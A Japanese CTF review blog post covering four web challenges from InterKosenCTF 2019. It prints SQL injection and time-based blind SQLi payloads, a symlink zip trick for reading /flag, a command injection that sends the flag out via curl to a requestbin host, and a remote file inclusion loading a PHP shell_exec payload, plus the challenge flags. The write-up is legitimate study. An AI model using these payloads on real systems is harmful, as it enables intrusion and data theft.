お疲れ様です。今回はweb問だけに絞ってチャレンジしました、が、相変わらず、碌に回答できずに終わってしまうのでwriteupが書けません。が、そのままにするといつか見返したい時に困るので、復習という形で書き残します。参考サイトさんははじめにリンクを貼っておきますので、皆さんはそちらを見てください。。。
このページはwriteupではなく復習回です。。。
参考サイト
【web】uploader(warmup)
ファイルをパスワード付きでアップロードできるページに、すでにアップロードされているシークレットファイルをゲットしようという問題。アップされているファイルを検索できるフォームに下を記述したら通ったので、脆弱。
') or 1=1--
提示されているソースファイルよりpasscodeカラムを抜き出します。
')or 1=1 union select passcode from files--
passcodeがフラグでした。
the_longer_the_stronger_than_more_complicated
interKosenctf2019 · GitHub
【web】Temple of Time
攻撃されている投票システムのpcapngファイルが渡されるので、フォレンジックします。一番多いアクセスはhttpでのsqlインジェクション試行なので、とりあえず1つ見てみる。
request uri query parameter: portal='or(select(if(ord(substr((select+password+from+users+where+username='admin'),12,1))=109,sleep(1),'')))#
substrでパスワードの12番目の文字1つを抜き出し、ordで数字として返す、それが109(m)かどうかを判別し、正解だったら1秒sleepする。これが、総当たりで1からやられています。ので、レスポンスが遅い部分を抜き出して行けば、フラグが見えます。
KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}
これ、目grepでちまちまやったのですが、きっといい方法があると思うのであとで追記します。
【web】Image Extractor
これeasy問?とても難しかったです。。解けなかった。docxファイルの写真部分を切り出してくれるサイト。正確にはアップしたファイルをジップ展開して、word/media/ディレクトリ以下の拡張子付きのファイルを見れるようにしてくれる。 どうやら/flagファイルにフラグが書いてあるらしい。
ソースはこちら。
interkosenctf2019 · GitHub
シンボリックリンク
word/media/内のファイルが表示できるので、その中に/flagへのシンボリックリンクを作れば大丈夫とのこと。コマンド的には下のようになる。
$ mkdir -p word/media $ ln -s /flag word/media/flag.txt $ zip -ry flag.zip word 参考:https://qiita.com/mikecat_mixc/items/471c110ae2228915c88b#image-extractor
僕は競技中は右クリックでzip化していたので、そうしました。アップロードしてからflag.txtファイルを開くとフラグが得られたようです。
アップロードしたファイルが展開された様子。
コマンドインジェクション
こちらの方法でも解けるらしい。
ファイル名を正規表現で末尾指定で縛っているが、改行以降については無視されるので、改行後にコマンドをインジェクション可能であるとのこと、systemメソッドにインジェクションして、requestbin宛にflagを送信して完了する。
# get '/image/:name/:image' do # 正規表現 # params[:name] !~ /^[a-f0-9]{32}$/ || params[:image] !~ /^[A-Za-z0-9_]+\.[A-Za-z0-9_]+$/ # 元コード system("unzip -j #{zipfile} word/media/#{params[:image]} -d #{filedir}") # リクエスト http://web.kosenctf.com:12000/image/xxxxx自動生成部分xxxxxx/image.png\ncurl -X POST {requestbin宛て} -d `cat flag`; # # インジェクション結果 unzip -j zipファイル名 word/media/image.png\ncurl -X POST {requestbin宛て} -d `cat flag`; # -d ファイル名.....
【web】Neko Loader
3つの写真の名前とpng, jpg拡張子を選択するとそのファイルが表示されるサイト。情報として、写真を表示する処理と、phpinfoの情報が見られます。
処理はこの内容。
interkosenctf2019 · GitHub
POSTでextとnamに2値を送ってますが、extの方は4文字制限があり,include($ext.'/'.$name.'.'.$ext);として使われます。
getinfoから、allow_url_includeがonになっていることがわかるので、includeで外部スクリプトが読み込めるとのこと。
しかし、http:は文字数に引っかかるため、ftp:を使用。
ext = ftp: name= /<ftpサーバのなまえ>/attack.php#
#attack.php <?php echo shell_exec('ls /;cat /*');?>
このファイルをincludeで読み込ませることで、実行結果を取得しフラグをとるとのことですが、ftpサーバってどうやって用意するのがいいのでしょうか...調べておきます。できれば無料で...
結果
ちなみに真ん中らへんで42位..悔しい。。少ないコード量でこの難しさはさすがでした。。ただ、やり方がわからないではなく、そもそも知識がないって感じの結果だったので引き続き勉強頑張ろう..